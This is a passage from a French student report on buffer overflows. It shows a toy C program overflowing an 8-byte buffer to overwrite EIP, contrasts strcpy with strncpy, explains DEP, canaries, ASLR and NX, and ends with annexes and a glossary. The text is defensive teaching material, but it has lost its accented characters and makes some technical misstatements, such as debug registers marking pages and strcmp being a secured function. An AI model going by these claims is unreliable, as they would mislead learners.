Aprs avoir constat que les fonctions tels que strcpy() ou strcat() sont potentiellement dangereuses et susceptibles dinduire des dbordements de tampons, les programmeurs ont cr leurs quivalents scuriss strncpy() et strncat() qui prennent en considration ce problme de dbordement en contrlant la taille des donnes copier de la source vers la destination. On prend lexemple de la fonction strcpy : char *strcpy (char *dest, const char *src). Cette dernire copie la chane pointe par src par la chane pointe par dest. Ce qui induit que la chane de destination doit tre assez grande pour accueillir la chane copier. Par contre la fonction strncpy : char *strncpy (char *dest, const char *src, size_t n) a en plus des deux arguments (char *dest et char *src), un troisime argument n qui copie uniquement les n premiers octets de la chane src, ce qui permet dviter une attaque de Buffer Overlow. Ainsi, s'il n'y a pas de caractre nul dans les n premiers octets de src, la chane rsultante ne disposera de caractre nul final. Dans le cas o la longueur src est infrieure n, la fin de dest sera remplie avec des caractres nuls. Cependant, lutilisation erron des ces fonctions dbouche sur des dbordements de buffers exploitables. On commence par tester lefficacit de cette fonction scurise strncpy() et ceci sur un petit programme qui normalement dbouche sur une attaque de Buffer Overflow avec son quivalente non scurise(strcpy). Remarque : ce type de problme ne peut pas survenir avec des langages volus type Java. Soit le programme C suivant :

26

Prventions et scurit contre lattaque de Buffer Overflow

#include <stdio.h> #include <string.h> int main(int argc, char **argv) { char herc[8] ; strcpy(herc, "AAAAAAAAAAAAAAAA") ; printf("%s", herc ) ; }

Ce programme va uniquement copier la chaine de caractre A..A de 16 octets dans le tableau de 8 octets. Or ce dernier a pour taille maximale 8 octets. Donc lexcution de ce programme engendra automatiquement un dbordement de tampon. Par ailleurs, on a choisi exprs dinsrer 16 octets pour pouvoir craser le registre EIP. On compile maintenant notre programme (on va transformer notre programme crit en langage C un programme crit en langage machine) afin daboutir un programme excutable. Et pour ce faire, on va utiliser un compilateur pour raliser cette tche. Une fois ceci est fait, on excute notre programme.

Fig3. 1: Excution du programme BUFFER2

Lexcution du programme a engendr une erreur, ce qui prouve que lattaque a bel et bien russi. Et pour voir ce qui sest pass exactement au niveau des registres, on va utiliser OllyDbg. Et pour ce faire, on clique sur dbogage pour voir en temps rel ltat des registres aprs ce dbordement.

27

Prventions et scurit contre lattaque de Buffer Overflow

Fig3. 2 : Visualisation des registres de la pile aprs lexcution du programme buffer2

Comme dans lexemple du chapitre 2, le registre EIP a t cras avec la valeur 41414141 qui correspond AAAA en ASCII et qui reprsente les 4 octets derniers octets quon a insr dans notre programme. On passe maintenant au cas qui nous intresse, o on va remplacer la fonction strcpy() par son quivalente scurise strncpy() et on va voir la diffrence entre ces 2 fonctions. On rcrit notre programme en C en changeant le ncessaire : #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char herc[8] ; strncpy(herc, "AAAAAAAAAAAAAAAA",8) ; printf("%s", herc ) ; } 28

Prventions et scurit contre lattaque de Buffer Overflow

Donc normalement avec cette fonction scurise strncpy(), on va viter cette attaque par Buffer Overflow vu quon a spcifi le nombre doctets quon va copier de la source vers la destination. Et comme on a fait pour lautre cas, on compile notre programme et on lexcute.

Fig3. 3: Excution du programme buffer3

Et l on remarque la diffrence entre les 2 fonctions utilises, vu que cette dernire a protg notre systme contre cette attaque de dbordement de tampon. En effet, la fonction strncpy a copi uniquement les 8 premiers octets de notre chane de caractre A.A dans le tableau herc de 8 octets. Et pour vrifier rellement quil ny a eu aucun crasement de registre, on va utiliser OllyDbg pour vrifier ceci. (Voir figure 4)

Fig3. 4 : Visualisation des registres de la pile aprs lexcution du programme buffer3

29

Prventions et scurit contre lattaque de Buffer Overflow

Le programme fonctionne correctement et lattaque de Buffer Overlow na pas march. Ce qui confirme lefficacit de cette fonction. Ceci est valable pour toutes les autres fonctions scurises tels que (strncat(), fgets(),strcmp()).

2. Mcanismes de prvention contre lattaque de Buffer Overflow

2.1. DEP (Data Execution Prevention) DEP est un mcanisme de protection contre lexcution des donnes destin lutter contre lexploitation malveillante de dbordements de tampons ou Buffer Overflows. En effet, le mode DEP surveille les services, DLL (Dynamic Load Library), programmes et autres excutables telle une vigie luttant contre l'insertion de code malveillant dans les zones mmoire normalement destines aux donnes. Par dfaut, ce mode de dfense n'est cependant activ que pour les programmes et services qui font partie intgrante de Windows. En effet, cette protection peut amener certains logiciels mal crits planter, car certains bugs qui pouvaient passer inaperus sans DEP deviennent forcment "dclencheurs de plantages" avec DEP. Se prmunir des dbordements de tas est une opration dlicate. Des fonctionnalits du processeur sont mises disposition pour dtecter ce type de problme. En effet, les processeurs rcents incluent des registres spciaux appels registres de dbogage Debug Registers et qui sont nots dr0 dr3. Ces derniers permettent de marquer des pages de mmoire comme tant des pages de donnes ou de codes. Et comme on a dj vu dans le premier chapitre quun dbordement de tas consiste injecter du code excutable une adresse mmoire cens contenir des donnes et forcer le programme sauter cette adresse pour excuter le code. Alors, en activant la fonctionnalit de protection contre lexcution des donnes (DEP), le processeur marquera les pages de donnes se trouvant dans le tas comme des pages de donnes. Ce qui implique que si pour une raison ou une autre, le systme tente dexcuter une instruction stocke dans les diverses zones de donnes, le processeur sen rend compte et instruit le systme dexploitation quun problme est survenu. Par dfaut cette fonctionnalit est active sur Windows Vista. 2.2. Protection via la mthode des canaris Comme on a vu dans les chapitres prcdents, exploiter un dbordement de pile est une opration facile raliser. Pour sen prmunir, les compilateurs modernes possdent une option qui gnre du code permettant dajouter aux donnes de la pile des valeurs prdfinies appels Canaris . Par exemple, chaque appel dune fonction un nombre alatoire est plac

30

Prventions et scurit contre lattaque de Buffer Overflow

dans la pile juste en dessous de ladresse de retour. Et lors du retour de cette dernire, un mcanisme vrifie automatiquement ce Canari na pas chang. Et dans le cas ou ces derniers ne sont plus prsents, cela indique au systme quun dbordement de tampon a eu lieu et celui-ci arrte lexcution du programme pour limiter les risques. Il existe deux (2) types de canaris qui prviennent les buffers overflows : les canaris alatoires et les canaris XOR alatoires. La diffrence entre eux est que le deuxime type gnre un nombre alatoire qui dpend des variables du code protger. Donc, si le canari ou les donnes protger sont modifis, la valeur du canari sera erron ce qui nous permet de dtecter lintrusion du code malveillant. Mme si les protections par canaris sont difficiles contourner, elles nvitent pas pour autant certaines attaques. Elles ne peuvent, par exemple, pas protger des buffers overflows dans le tas.

2.3. ASLR Pour rendre plus difficile le dveloppement du code malveillant, les bibliothques de code systme (DLL =Dynamic Load Library) qui auparavant taient toujours chargs la mme adresse mmoire sont maintenant chargs une adresse alatoire. En effet sous Windows XP, 2000 ou 2003, il tait relativement facile pour un code malveillant dappeler une fonction systme en sautant directement son adresse mmoire puisque ces derniers sont stocks la mme adresse en fonction de la version du systme et de son niveau de service pack. Cest pour cela que Windows Vista a introduit ASLR (Address Space Layout Randomization ou Randomization du chargement de lespace dadressage). En effet, ladresse de chargement de ces bibliothques de code est maintenant dtermine de faon alatoire au dmarrage du systme. Ce dernier, choisit alatoirement ladresse de base du systme parmi 256 disponibles. Cela ne bloque pas pour autant les exploitations de Buffers Overflows mais rend la tche un peu plus compliqu lattaquant qui doit maintenant implmenter un mcanisme pour dterminer ladresse de la fonction quil veut appeler.

2.4. NX bit NX Bit, pour No eXecute, est une technique utilise dans les processeurs pour dissocier les zones de mmoire contenant des instructions, donc excutables, des zones contenant des donnes. Ceci permet de faire de la protection d'espace excutable protgeant le systme des virus utilisant les failles de type dpassement de tampon. Parmi les mcanismes utilisant cette

31

Prventions et scurit contre lattaque de Buffer Overflow

technique, on trouve la technique de protection de lespace dadressage. En effet, cette dernire permet une zone mmoire comme non excutable. Si la mmoire possde lattribut Nx alors il sera impossible de lancer le processus. Donc si un utilisateur (bienveillant ou non) tente dexcuter un code dans cette zone mmoire, une erreur se produira.

Cette mthode est implmente sur Windows (XP SP2 et VISTA) ainsi que sur Linux travers plusieurs patchs tels que (Open Wall, Exec-shield, PAX). 2.5. Introduction dAla dans la pile Cette attaque consiste introduire de l'ala dans la pile. Cela veut dire que la pile sera place une adresse alatoire. Ainsi, l'adresse de buffer changera chaque excution. L'attaquant aura donc beaucoup plus de mal faire excuter le code qu'il souhaite. Cette technique permet de rendre plus difficile l'exploitation de buffer overflow, mais dans certains cas, il est toujours facile de dtourner le programme.

Conclusion
Dans ce chapitre, on a vu quelques mcanismes et mthodes qui permettent de diminuer le risque dattaque de Buffer Overflow. Ces solutions ncessitent des mises jour afin de sadapter lvolution des attaques par dbordement de tampon et garantir ainsi la scurit de nos systmes.

32

Conclusion gnrale

Conclusion gnrale

On a essay tout au long du projet de donner une vue approfondie et dtaille des Buffer Overflow et de leur exploitation. En effet, le premier chapitre visait mettre le projet dans son cadre technique vu que ce type dattaque se dclenche dans les zones mmoires du systme et plus particulirement dans la pile et le tas. Cest pour cela quon sest intress ltude thorique de lorganisation de la mmoire dans un programme afin de mettre lattaque dans son cadre et comprendre sa technique dexploitation complt par un exemple dtaill. Dans le deuxime chapitre, on sest intress laspect application ou ralisation de lattaque. Et ceci travers lutilisation dun exploit (attaque) fourni par la plateforme dattaque Metasploit afin dutiliser les vulnrabilits qui se trouvent dans lapplication cible et raliser lattaque. Par ailleurs, grce au dbogueur OllyDbg, on a pu suivre lvolution des registres de la pile tout au long de lattaque et affirmer ce quon a vu dans le premier chapitre concernant ltude technique de lattaque et plus particulirement lcrasement du registre EIP qui reprsente la cl pour prendre contrle de la machine ou lapplication cible . Et pour finir le troisime chapitre est entirement consacr laspect scurit de lattaque. Vu que ce type de problme se retrouve sur presque tous les systmes informatiques utiliss, par consquent il reprsente une menace et un danger pour notre scurit tant donn quon vit dans un monde entour dinformatique. Cest pour cela quon sest intress aux divers mcanismes et techniques qui permettent de diminuer le risque dattaque de Buffer Overflow. Ces solutions doivent tre adoptes par les administrateurs de systmes et les programmeurs afin de rduire les intrusions dans les systmes informatiques. Cependant ces solutions ncessitent des mises jour afin de sadopter lvolution des attaques qui deviennent de plus en plus compliqu liminer et assurer un maximum de garantie contre toutes attaques malveillantes.

33

Bibliographie et Netographie

BIBLIOGRAPHIE & NETOGRAPHIE

1-Les Buffers Overflow Matieu Berreti-Rodolphe Lacroix http://krogpg.free.fr/docs/securite/bof/Buffers_Overflow.pdf

2-Exploitation Avance des Buffers Overlow Ecole Polytechnique fdrale de Lausanne/ Olivier Gay/ Security and Cryptography laboratory (LASEC)/28 juin 2002 http://lasecwww.epfl.ch/~oechslin/advbof.pdf

3-Tutoriel Freamwork Metasploit (3 parties) /version franaise Jerome Athias/16/08/2004 http://www.ja-psi.fr/jerome/DOC/Metasploit1_FR.pdf http://www.ja-psi.fr/jerome/DOC/Metasploit2_FR.pdf http://www.ja-psi.fr/jerome/DOC/Metasploit3_FR.pdf

4-Metasploit Fream Work User Guide http://www.metasploit.com/documents/users_guide.pdf

5-Les Buffer Overlows Nicolas Dube /Avril 2005 http://download.secway.com/public/papers/presentations/bo/bo.pdf

6-Introduction OllyDbg

Crisanar /13/08/2004 http://deamonftp.free.fr/deamoncrack/Tuts/Crisanar/introOlly.htm

34

Annexes

ANNEXES
Annexe 1 : Fonctionnement normal dun programme

Cette section prsente le comportement d'un programme, de son appel son arrt. Tout au long de cette explication nous nous appuierons sur l'exemple suivant (fct.c) : /* fct.c */ void toto(int i, int j) { char str[5] = "abcde"; int k = 3; j = 0; return; }

int main(int argc, char **argv) { int i = 1; toto(1, 2); i = 0; printf("i=%d\n",i); }

Le droulement de toute fonction se dcompose trois tapes : Le prologue : l'entre d'une fonction, on se prpare dj en sortir en sauvegardant l'tat de la pile tel qu'il tait avant d'entrer dans la fonction puis en rservant la mmoire ncessaire au bon droulement de la fonction. L'appel de la fonction : quand une fonction est appele, ses paramtres sont mis dans la pile puis le pointeur d'instructions (EIP) est sauvegard pour que l'excution des instructions reprenne au bon endroit aprs la fonction.

35

Annexes

Le retour de la fonction : il s'agit de remettre les choses telles qu'elles taient avant l'appel de la fonction. Le prologue Une fonction commence systmatiquement par les instructions : push %ebp mov %esp,%ebp //$0xc dpend de chaque programme

push $0xc,%esp

Ces trois instructions constituent ce qui s'appelle le prologue. La figure 1 dtaille le droulement du prologue de la fonction toto () en expliquant le rle des registres %ebp et %esp :
Initialement, %ebp pointe dans la mmoire une adresse quelconque X. %esp se situe plus bas dans la pile, l'adresse Y, et pointe sur la dernire case occupe de la pile. A l'entre d'une fonction, il faut sauvegarder le dbut de "l'environnement courant", c'est--dire %ebp. Comme %ebp est mis sur la pile, %esp dcrot d'un mot mmoire.

Cette deuxime instruction permet de construire un nouvel "environnement" pour la fonction, uniquement en plaant %ebp au sommet de la pile. %ebp et %esp pointent alors sur le mme mot mmoire qui contient l'adresse de l'environnement prcdent.

36

Annexes

Figure 1 : Prologue dune fonction

Il faut maintenant rserver la place dans la pile pour les variables locales. Le tableau de caractres est dfini avec 5 lments, et devrait donc occuper 5 octets (un char occupe un octet). Toutefois, la pile ne sachant manipuler que des mots, elle ne sait rserver qu'un multiple de mots (1 mot, 2 mots, 3 mots, ...). Pour stocker 5 octets, dans le cas d'un mot de 4 octets, il faut donc prvoir 8 octets (soit 2 mots). La partie grise, si elle ne fait pas officiellement partie de la chane de caractres, peut cependant tre utilise sans risque. L'entier k occupe quant lui 4 octets. Cette place est rserve en dcrmentant de 0xc (12 en hexadcimal) la valeur de %esp puisque les variables locales occupent 8+4=12 octets (i.e. 3 mots).

Outre le mcanisme en lui-mme, la chose importante retenir ici est la position des variables locales : les variables locales ont un dcalage ngatif par rapport %ebp. L'instruction i=0 de la fonction main () illustre ceci. Le code Assembleur (cf ci-dessous) utilise un adressage indirect pour accder la variable i :

0x80483ed:

movl $0x0, 0xc (%ebp)

Le nombre hexadcimal 0xc reprsente le nombre entier +12. La notation employe signifie donc de mettre la valeur 0 dans la variable qui se trouve "+12 octets" relativement au registre %ebp. Or, j est le second argument de la fonction, il se situe donc bien 12 octets "au-dessus" du registre %ebp (4 pour la sauvegarde du pointeur d'instruction, plus 4 pour le premier argument entier, plus encore 4 pour le second argument entier - voir le premier schma de la partie sur le retour). Lappel : Si le prologue d'une fonction permet de prparer son environnement, l'appel d'une fonction permet la fonction appele de recevoir ses arguments, et, une fois termine, de rendre la main la fonction appelante.

37

Annexes

Nous prendrons comme exemple l'appel toto (1, 2) ; Avant d'appeler une fonction, les arguments dont elle aura besoin sont stocks sur dans pile. Dans notre exemple, les deux entiers constants 1 et 2 sont d'abord empils, en commenant par le dernier. Le registre %eip contient l'adresse de la prochaine instruction excuter, qui sera ici l'appel la fonction.

Figure 2 : Appel dune fonction

Lors de l'excution de l'instruction call, %eip prend la valeur de l'adresse de l'instruction suivante qui se trouve 5 octets aprs (call est une instruction code sur 5 octets toutes les instructions n'occupent pas le mme espace, mais ceci dpend des processeurs).Donc (Z+5) correspond ladresse de EIP. Le call sauvegarde alors l'adresse contenue dans %eip pour pouvoir reprendre l'excution o elle en tait aprs la fonction. Cette sauvegarde s'effectue par une instruction implicite qui met le registre sur la pile : push %eip. La valeur fournie en argument call correspond l'adresse de la premire instruction du prologue de la fonction toto (). Cette adresse est alors recopie dans %eip, qui en fait la prochaine instruction excuter.

Ainsi, une fois dans le corps de la fonction, ses arguments et l'adresse de retour ont un dcalage positif par rapport %ebp, puisque la prochaine instruction dpose ce registre sur le sommet de la pile. L'instruction j=0 de la fonction toto () illustre ceci. Le code Assembleur utilise nouveau adressage indirect pour accder la variable j : 0x80483ed: movl $0x0, 0xc (%ebp)

Le nombre hexadcimal 0xc reprsente le nombre entier +12. La notation employe signifie donc de mettre la valeur 0 dans la variable qui se trouve "+12 octets" relativement au registre %ebp. Or, j est le second argument de la fonction, il se situe donc bien 12 octets "au-dessus" du registre %ebp (4 pour la sauvegarde du pointeur d'instruction, plus 4 pour le

38

Annexes

premier argument entier, plus encore 4 pour le second argument entier - voir le premier schma de la partie sur le retour).

Le Retour : Quitter une fonction se droule en deux tapes. Tout d'abord, il faut nettoyer l'environnement cr pour la fonction (i.e. remettre %ebp et %eip dans leur tat d'avant l'appel). Une fois ceci ralis, il reste s'occuper de la pile pour en retirer les informations relatives la fonction dont nous sortons. La premire tape se droule au sein mme de la fonction avec les instructions : leave et ret La suite se situe dans la fonction o l'appel a eu lieu et consiste nettoyer la pile des arguments de la fonction appele. Nous poursuivons sur l'exemple de la fonction toto () voque prcdemment. Nous dcrivons ici la situation initiale en rsumant ce qui s'est pass lors de l'appel puis du prologue. Avant l'appel, nous avions %ebp positionn l'adresse X et %esp l'adresse Y. Depuis, nous avons empil les arguments de la fonction, sauvegard %eip puis %ebp et rserver la place pour nos variables locales. La prochaine instruction excute sera leave.

L'instruction leave est quivalente la squence :

mov ebp esp pop ebp

La premire ramne %esp et %ebp au mme endroit dans la pile. La seconde met le sommet de la pile dans le registre %ebp. En une instruction (leave), la pile se retrouve donc pratiquement comme si le prologue n'avait pas eu lieu.

39

Annexes

L'instruction ret restaure simplement %eip de telle sorte que l'excution de la fonction appelante reprenne o elle se doit, soit juste aprs la fonction que nous quittons. Pour cela, il suffit de dpiler le sommet de la pile dans %eip. Nous ne sommes pas encore revenus la situation initiale car les arguments de la fonction sont encore empils. Les retirer sera la prochaine instruction, reprsente par son adresse Z+5 dans %eip.

De mme que l'empilement des paramtres se droule dans la fonction appelante, leur dpilement aussi. Ceci est symbolis dans le schma ci-contre par le trait de sparation entre les instructions dans la fonction appele et ladd 0x8, %esp de la fonction appelante. Cette instruction ramne %esp vers le haut de la pile, d'autant d'octets qu'en occupaient les paramtres de la fonction toto (). Les registres %ebp et %esp se retrouvent bien dans une situation identique celle d'avant l'appel. En revanche, le registre d'instructions %eip a progress. Figure 3 : Retour dune Fonction

Annexes 2 : Serveur FTP

Le serveur FTP (File Transfer Protocol) permet, comme son nom l'indique de transfrer des fichiers par Internet ou par le biais d'un rseau informatique local (intranet). Si vous en avez l'autorisation, vous pouvez tlcharger et envoyer des fichiers sur un ordinateur distant faisant fonctionner un tel serveur. Le port par dfaut et le plus souvent utilis est le port 21.

40

Glossaire

GLOSSAIRE

Expression Buffer Overflow

Dfinition Cest un bug caus par un processus qui, lors de l'criture dans un tampon, crit l'extrieur de l'espace allou au tampon, crasant ainsi des informations ncessaires au processus. Last In, First Out, signifie dernier arriv, premier sorti . Cette expression est utilise en informatique pour dcrire une manire de traiter des donnes.

LIFO

SS

Stack Segment, ce registre 16 bits contient le numro du segment mmoire dans lequel est stocke la pile. On peut accder directement ce registre ce qui permet dutiliser plusieurs piles.

EIP

ESP

Extended Instruction Pointer, le registre EIP contient loffset de la prochane instruction excuter. Il est modifi automatique chaque excution et peut tre manipul par des instructions du type jmp, call, ret, etc. On ne peut pas accder directement ce registre. Stack Pointer, ce registre 32 bits contient le dplacement pour atteindre le sommet de la pile. La partie basse 16 bits de ce registre peut tre utilise comme le registre SP.

EBP

Extended Base Pointer, ce registre 32 bits contient un dplacement correspondant une position dans la pile. Ce registre sert pointer sur une donne dans la pile. La partie basse 16 bits de ce registre peut tre utilise comme le registre BP.

CS

Code Segment, ce registre 16 bits contient le numro du segment mmoire dans lequel sont stockes les instructions assembleur du code excuter. On ne peut pas accder directement ce registre.

41

Glossaire C Le langage C est un langage de bas niveau dans le sens o il permet laccs des donnes que manipulent les ordinateurs (bits, octets, adresses) et qui ne sont pas souvent disponibles partir de langages volus tels que Fortran, Pascal ou ADA. Le langage C a t conu pour lcriture de systmes dexploitation et du logiciel de base. shellcode Un shellcode est une chane de caractres qui reprsente un code binaire excutable capable de lancer un shell

GNU

Projet GNU relatif un debugger, qui permet de voir ce qui se passe l'intrieur d'un autre programme au moment de son excution ou ce qu'un autre programme tait en train de faire avant son plantage.

Metasploit

Cest un projet open-source sur la scurit informatique qui fournit des informations sur des vulnrabilits, aide la pntration de systmes informatiss et au dveloppement de signatures pour les IDS.

IDS

Intrusion Detection System, un mcanisme coutant le trafic rseau de manire furtive afin de reprer des activits anormales ou suspectes et permettant ainsi d'avoir une action de prvention sur les risques d'intrusion.

ollydbg

Ce logiciel ne peut analyser et dboguer que les programmes 32-bits rpondant la norme Portable Excutable.

42

Glossaire Data Execution Prevention, est une fonction propre Windows depuis le SP2. Cette fonction a pour but d'empcher l'criture de codes malicieux dans certaines zones de Windows rserves d'ordinaire au stockage de donnes non excutables. VNC Virtual Network computing, cest un logiciel ouvert pour se connecter un ordinateur distant. ASLR Address Space Layout Randomizationest une fonctionnalit du noyau linux permettant de rendre alatoire l'espace d'adressage mmoire de zones comme le tas (heap) ou la pile (stack) afin de compliquer le travail d'un attaquant. Dynamic Load Library, Une DLL est une sorte de programme indpendant de toute application, non excutable, mais contenant de nombreuses fonctions accessibles depuis un programme excutable.

DEP

DLL

NX Bit

No eXecute, est une technique utilise dans les processeurs pour dissocier les zones de mmoire

FTP

File Transfer Protocol, qui est un protocole ouvert, peut tre exploit sur tout systme disposant d'une pile IP. Il devient donc possible de raliser des transferts.

43